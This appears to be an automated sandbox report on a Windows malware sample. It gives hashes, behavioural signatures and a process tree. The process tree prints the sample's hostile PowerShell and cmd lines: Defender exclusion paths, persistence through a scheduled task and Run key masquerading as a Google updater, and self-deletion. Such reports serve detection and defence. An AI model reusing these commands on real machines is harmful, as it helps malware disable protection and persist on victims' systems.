Overview
overview
10Static
static
3QNREJhVYDhHk52cq3.exe
windows7-x64
10QNREJhVYDhHk52cq3.exe
windows10-2004-x64
10RmJBfzgfbWELMdgn.exe
windows7-x64
10RmJBfzgfbWELMdgn.exe
windows10-2004-x64
10TTVw7dDmSpz5mwee.exe
windows7-x64
10TTVw7dDmSpz5mwee.exe
windows10-2004-x64
10qM5GMXBk6h...6).exe
windows7-x64
10qM5GMXBk6h...6).exe
windows10-2004-x64
10qM5GMXBk6h...9).exe
windows7-x64
10qM5GMXBk6h...9).exe
windows10-2004-x64
10qM5GMXBk6h...4).exe
windows7-x64
10qM5GMXBk6h...4).exe
windows10-2004-x64
10qM5GMXBk6h...3).exe
windows7-x64
10qM5GMXBk6h...3).exe
windows10-2004-x64
10qM5GMXBk6h...4).exe
windows7-x64
10qM5GMXBk6h...4).exe
windows10-2004-x64
10qM5GMXBk6h...5).exe
windows7-x64
10qM5GMXBk6h...5).exe
windows10-2004-x64
10qM5GMXBk6h...7).exe
windows7-x64
10qM5GMXBk6h...7).exe
windows10-2004-x64
10qM5GMXBk6h...8).exe
windows7-x64
10qM5GMXBk6h...8).exe
windows10-2004-x64
10qM5GMXBk6h...6).exe
windows7-x64
10qM5GMXBk6h...6).exe
windows10-2004-x64
10Resubmissions
16/01/2024, 20:08
240116-yw2hnahhck 1024/12/2023, 12:16
231224-pfpz9abhcp 1028/08/2023, 15:19
230828-sqmvesca87 1026/08/2023, 15:20
230826-sqz5radd21 1020/08/2023, 00:19
230820-amltvacg48 1020/08/2023, 00:19
230820-amkxjscg46 1020/08/2023, 00:18
230820-al4y2aec9v 1020/08/2023, 00:18
230820-al4m9scg45 1020/08/2023, 00:18
230820-al32qscg44 1020/08/2023, 00:18
230820-al3e7sec9t 10Analysis
-
max time kernel
16s -
max time network
82s -
platform
windows10-2004_x64 -
resource
win10v2004-20230703-en -
resource tags
arch:x64arch:x86image:win10v2004-20230703-enlocale:en-usos:windows10-2004-x64system -
submitted
20/08/2023, 00:18
Static task
static1
Behavioral task
behavioral1
Sample
QNREJhVYDhHk52cq3.exe
Resource
win7-20230712-en
Behavioral task
behavioral2
Sample
QNREJhVYDhHk52cq3.exe
Resource
win10v2004-20230703-en
Behavioral task
behavioral3
Sample
RmJBfzgfbWELMdgn.exe
Resource
win7-20230712-en
Behavioral task
behavioral4
Sample
RmJBfzgfbWELMdgn.exe
Resource
win10v2004-20230703-en
Behavioral task
behavioral5
Sample
TTVw7dDmSpz5mwee.exe
Resource
win7-20230712-en
Behavioral task
behavioral6
Sample
TTVw7dDmSpz5mwee.exe
Resource
win10v2004-20230703-en
Behavioral task
behavioral7
Sample
qM5GMXBk6hJE6Y5e (16).exe
Resource
win7-20230712-en
Behavioral task
behavioral8
Sample
qM5GMXBk6hJE6Y5e (16).exe
Resource
win10v2004-20230703-en
Behavioral task
behavioral9
Sample
qM5GMXBk6hJE6Y5e (19).exe
Resource
win7-20230712-en
Behavioral task
behavioral10
Sample
qM5GMXBk6hJE6Y5e (19).exe
Resource
win10v2004-20230703-en
Behavioral task
behavioral11
Sample
qM5GMXBk6hJE6Y5e (4).exe
Resource
win7-20230712-en
Behavioral task
behavioral12
Sample
qM5GMXBk6hJE6Y5e (4).exe
Resource
win10v2004-20230703-en
Behavioral task
behavioral13
Sample
qM5GMXBk6hJE6Y5e(13).exe
Resource
win7-20230712-en
Behavioral task
behavioral14
Sample
qM5GMXBk6hJE6Y5e(13).exe
Resource
win10v2004-20230703-en
Behavioral task
behavioral15
Sample
qM5GMXBk6hJE6Y5e(14).exe
Resource
win7-20230712-en
Behavioral task
behavioral16
Sample
qM5GMXBk6hJE6Y5e(14).exe
Resource
win10v2004-20230703-en
Behavioral task
behavioral17
Sample
qM5GMXBk6hJE6Y5e(15).exe
Resource
win7-20230712-en
Behavioral task
behavioral18
Sample
qM5GMXBk6hJE6Y5e(15).exe
Resource
win10v2004-20230703-en
Behavioral task
behavioral19
Sample
qM5GMXBk6hJE6Y5e(17).exe
Resource
win7-20230712-en
Behavioral task
behavioral20
Sample
qM5GMXBk6hJE6Y5e(17).exe
Resource
win10v2004-20230703-en
Behavioral task
behavioral21
Sample
qM5GMXBk6hJE6Y5e(18).exe
Resource
win7-20230712-en
Behavioral task
behavioral22
Sample
qM5GMXBk6hJE6Y5e(18).exe
Resource
win10v2004-20230703-en
Behavioral task
behavioral23
Sample
qM5GMXBk6hJE6Y5e(6).exe
Resource
win7-20230712-en
General
-
Target
qM5GMXBk6hJE6Y5e(14).exe
-
Size
2.0MB
-
MD5
a16a669a09bf158058b83e04e69fe38e
-
SHA1
f6c94763850d9e590d86057139e8895a7aacdeea
-
SHA256
cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e
-
SHA512
658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6
-
SSDEEP
49152:rWVipAxqo5p88CbXuxWQiSJU320ZW21Q0YWAij64ane6szjmL/45:rxAEcp9ueXit9WAQ0YWuO
Malware Config
Signatures
-
Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs
description pid Process procid_target PID 4292 created 788 4292 qM5GMXBk6hJE6Y5e(14).exe 39 -
Suspicious behavior: EnumeratesProcesses 3 IoCs
pid Process 4292 qM5GMXBk6hJE6Y5e(14).exe 4292 qM5GMXBk6hJE6Y5e(14).exe 3896 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 3896 powershell.exe
Processes
-
C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵PID:788
-
C:\Users\Admin\AppData\Local\Temp\qM5GMXBk6hJE6Y5e(14).exe"C:\Users\Admin\AppData\Local\Temp\qM5GMXBk6hJE6Y5e(14).exe"2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Suspicious behavior: EnumeratesProcesses
PID:4292
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3896
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }2⤵PID:3952
-
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\qM5GMXBk6hJE6Y5e(14).exe"2⤵PID:2824
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#glbtb#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachineQC" } Else { "C:\Program Files\Google\Chrome\updater.exe" }2⤵PID:2216
-
C:\Windows\system32\schtasks.exe"C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachineQC3⤵PID:5108
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force2⤵PID:3716
-
-
C:\Windows\System32\choice.exechoice /C Y /N /D Y /T 31⤵PID:4220
-
C:\Program Files\Google\Chrome\updater.exe"C:\Program Files\Google\Chrome\updater.exe"1⤵PID:2516
Network
MITRE ATT&CK Matrix
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
2.0MB
MD5a16a669a09bf158058b83e04e69fe38e
SHA1f6c94763850d9e590d86057139e8895a7aacdeea
SHA256cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e
SHA512658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6
-
Filesize
2KB
MD5d85ba6ff808d9e5444a4b369f5bc2730
SHA131aa9d96590fff6981b315e0b391b575e4c0804a
SHA25684739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f
SHA5128c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249
-
Filesize
944B
MD577d622bb1a5b250869a3238b9bc1402b
SHA1d47f4003c2554b9dfc4c16f22460b331886b191b
SHA256f97ff12a8abf4bf88bb6497bd2ac2da12628c8847a8ba5a9026bdbb76507cdfb
SHA512d6789b5499f23c9035375a102271e17a8a82e57d6f5312fa24242e08a83efdeb8becb7622f55c4cf1b89c7d864b445df11f4d994cf7e2f87a900535bcca12fd9
-
Filesize
1KB
MD5e9bade1aea3ed488836f7e06984cb57c
SHA15645d96667328f00e208a61e9d29c5b1a7971cba
SHA256234732b62cdae0291b606f728ea6fe4b32e4affaf74e4a0e2d7249f505190352
SHA51230985d9041be73f17ecc9a51fd6cad8f7da5abe686014b7d05f642aef78d4c3a7a35f052cd09acefa2e66d3f5537ba3659ccefca74f8b22351d4f46955c9201d
-
Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82